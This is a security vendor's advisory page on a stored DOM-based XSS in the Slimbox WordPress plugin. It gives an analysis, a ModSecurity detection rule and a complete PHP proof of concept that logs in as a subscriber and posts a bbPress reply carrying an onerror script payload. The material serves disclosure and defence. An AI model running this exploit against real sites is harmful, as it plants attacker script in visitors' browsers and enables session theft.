Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-123971 (metadata-based):
This is a stored DOM-based cross-site scripting vulnerability in the Slimbox Plugin for WordPress, affecting all versions up to and including 1.3. The flaw exists in the handling of the title attribute of anchor elements that are processed by Slimbox, a lightbox script that reads link metadata to build captions. An authenticated attacker with subscriber-level access or above can inject arbitrary JavaScript into the title attribute of an anchor tag, which the plugin later renders into the DOM without proper escaping. The CVSS score is 6.4, reflecting network attack vector, low privileges required, and scope change. No patched version is available.
Root cause: The plugin fails to sanitize and escape the title attribute of anchor elements that carry a rel attribute beginning with lightbox. When a page contains a stored anchor element, Slimbox reads el.title, HTML-decodes it, and inserts it into the DOM as part of the lightbox caption. The CWE-79 classification confirms improper neutralization during web page generation. Atomic Edge inference based on the description: the plugin likely uses innerHTML or jQuery .html() to set caption content, or fails to apply esc_html or wp_kses on the title value before output. The vulnerability is described as stored, meaning the malicious title persists in the database (for example, in a forum post or comment) and executes whenever a victim views the page. WordPress core comment handling does not preserve rel attributes on anchor tags by default, so exploitation requires a companion plugin such as bbPress that allows low-privileged users to store anchor elements with arbitrary title and rel attributes. This dependency is explicitly stated in the CVE description, not inferred. The exact JavaScript sink in the plugin is not confirmed because no code diff is available.
Exploitation: An attacker registers or uses an existing subscriber account on a site that runs both Slimbox Plugin and a companion plugin like bbPress. The attacker creates a post, reply, or similar content entry that accepts HTML and includes an anchor element such as Click. The title attribute contains an HTML-encoded payload that survives storage. When a victim loads the page, Slimbox processes the anchor, reads the title, and injects the decoded payload into the caption DOM. The script executes in the context of the victim’s session. The attack requires no UI interaction beyond visiting the injected page. Because the payload uses onerror on an image tag, it triggers when the browser attempts to load the invalid image source. The injection point is the title attribute of an anchor with rel^=lightbox, and the trigger is the Slimbox caption rendering logic. Atomic Edge cannot confirm the exact DOM API used (for example, innerHTML vs. textContent) without source code, but the metadata explicitly names the sink as the HTML-decoded title attribute of a stored anchor element.
Remediation: A proper fix requires two layers of defense. First, the plugin must escape the title value before inserting it into the DOM. If the plugin uses innerHTML, it should switch to textContent for the caption text, or apply a strict HTML sanitizer that allows only safe tags and attributes. Second, the plugin should validate and sanitize the title attribute on input, using WordPress functions such as wp_kses with a restrictive allowed-tags set, or sanitize_text_field where plain text is expected. Because the vulnerability is DOM-based, server-side output escaping on the stored title is also necessary if the plugin renders the anchor server-side. The CWE-79 classification and the description point to insufficient neutralization during page generation, so the fix must enforce context-aware escaping at the point where the title is written into the DOM. No patched version exists, so site owners should disable the plugin or remove the ability for low-privileged users to store anchor elements with rel attributes until a fix is available.
Impact: Successful exploitation allows an authenticated attacker with subscriber-level access to execute arbitrary JavaScript in the browser of any user who views the injected content. This can lead to session hijacking, theft of authentication cookies, exposure of sensitive data displayed to the victim, and actions performed on behalf of the victim within the WordPress site. The scope change in the CVSS vector indicates that the vulnerable component (the plugin) impacts resources beyond its security scope, because the injected script runs in the context of the main site. Confidentiality and integrity are both partially impacted. Availability is not affected. The requirement for a companion plugin that permits HTML storage with rel attributes reduces the attack surface, but many WordPress sites run bbPress or similar plugins, making exploitation practical in those environments.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-123971 (metadata-based)
# This rule targets the storage of a malicious anchor element with rel="lightbox" and a title attribute
# containing HTML-encoded JavaScript. It is narrowly scoped to bbPress reply submissions, which are the
# realistic attack vector described in the CVE metadata.
# The rule blocks POST requests to the bbPress reply handler that contain a title attribute with
# a script-capable payload (event handler or script tag) within a rel="lightbox" anchor.
SecRule REQUEST_URI "@rx ^/forums/reply/?$"
"id:2026123971,phase:2,deny,status:403,chain,msg:'CVE-2026-123971 via bbPress reply stored DOM XSS',severity:'CRITICAL',tag:'CVE-2026-123971'"
SecRule ARGS_POST:bbp_reply_content "@rx <as[^>]*rels*=s*['x22]lightbox['x22][^>]*titles*=s*['x22][^'x22]*(?:<|<|<)(?:img|svg|script)[^'x22]*(?:onerror|onload|onclick|javascript:)"
"t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-123971 - Slimbox Plugin <= 1.3 - Authenticated (Subscriber+) Stored DOM-Based XSS via Link 'title' Attribute via Slimbox Caption
//
// This PoC assumes:
// 1. A WordPress site runs Slimbox Plugin <= 1.3 and a companion plugin such as bbPress
// that allows low-privileged users to store anchor elements with arbitrary title and rel attributes.
// 2. The attacker has subscriber-level credentials and access to a bbPress forum or similar content area.
// 3. The victim will view the forum topic or reply where the payload is stored.
//
// The script logs in, submits a forum reply containing a malicious anchor with rel="lightbox"
// and an HTML-encoded payload in the title attribute, and then outputs the URL to the post.
// Actual execution occurs in the victim's browser when Slimbox processes the anchor.
$target_url = 'http://example.com'; // WordPress base URL, no trailing slash
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password
$forum_id = 1; // bbPress forum ID where the reply will be posted
$topic_id = 1; // bbPress topic ID
// The payload is HTML-encoded so it survives storage and is decoded by Slimbox's title processing.
$payload = '<img src=x onerror=alert(document.domain)>';
// Build the anchor element. rel="lightbox" triggers Slimbox processing.
$anchor = '<a href="#" rel="lightbox" title="' . $payload . '">View image</a>';
// Cookie jar for the session
$cookie_jar = tempnam(sys_get_temp_dir(), 'cve_');
function request($url, $method = 'GET', $post_fields = null, $cookie_jar = null) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
if ($method === 'POST') {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return array('body' => $response, 'code' => $http_code);
}
// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
// Fetch the login page to obtain any necessary cookies
request($login_url, 'GET', null, $cookie_jar);
// Submit login credentials
$login_response = request($login_url, 'POST', $login_data, $cookie_jar);
if ($login_response['code'] != 200 && $login_response['code'] != 302) {
die("Login failed with HTTP code: " . $login_response['code'] . "n");
}
// Step 2: Post a reply to the bbPress topic containing the malicious anchor
// The exact form field names depend on the bbPress version, but the standard fields are:
// bbp_reply_content, bbp_topic_id, bbp_forum_id, and a nonce.
$reply_url = $target_url . '/forums/reply/';
// Fetch the topic page to extract the nonce (bbPress uses _wpnonce in the reply form)
$topic_url = $target_url . '/forums/topic/' . $topic_id . '/';
$topic_page = request($topic_url, 'GET', null, $cookie_jar);
if (!preg_match('/name="_wpnonce" value="([^"]+)"/', $topic_page['body'], $matches)) {
// Try alternative nonce field used by bbPress
if (!preg_match('/name="_bbp_reply_nonce" value="([^"]+)"/', $topic_page['body'], $matches)) {
die("Could not extract nonce from topic page. Ensure the forum and topic exist and the user can reply.n");
}
}
$nonce = $matches[1];
// Build the reply POST data
$reply_data = array(
'bbp_reply_content' => $anchor,
'bbp_topic_id' => $topic_id,
'bbp_forum_id' => $forum_id,
'_wpnonce' => $nonce,
'_wp_http_referer' => '/forums/topic/' . $topic_id . '/',
'bbp_reply_submit' => 'Submit'
);
// Add the alternative nonce field name if needed
$reply_data['_bbp_reply_nonce'] = $nonce;
$reply_response = request($reply_url, 'POST', $reply_data, $cookie_jar);
if ($reply_response['code'] == 200 || $reply_response['code'] == 302) {
echo "Reply submitted. The payload is now stored.n";
echo "Victim URL: " . $target_url . "/forums/topic/" . $topic_id . "/n";
echo "When a victim views this topic, Slimbox will read the title attribute and execute the payload.n";
} else {
echo "Reply submission may have failed. HTTP code: " . $reply_response['code'] . "n";
echo "Check the response body for errors.n";
}
// Clean up
unlink($cookie_jar);
?>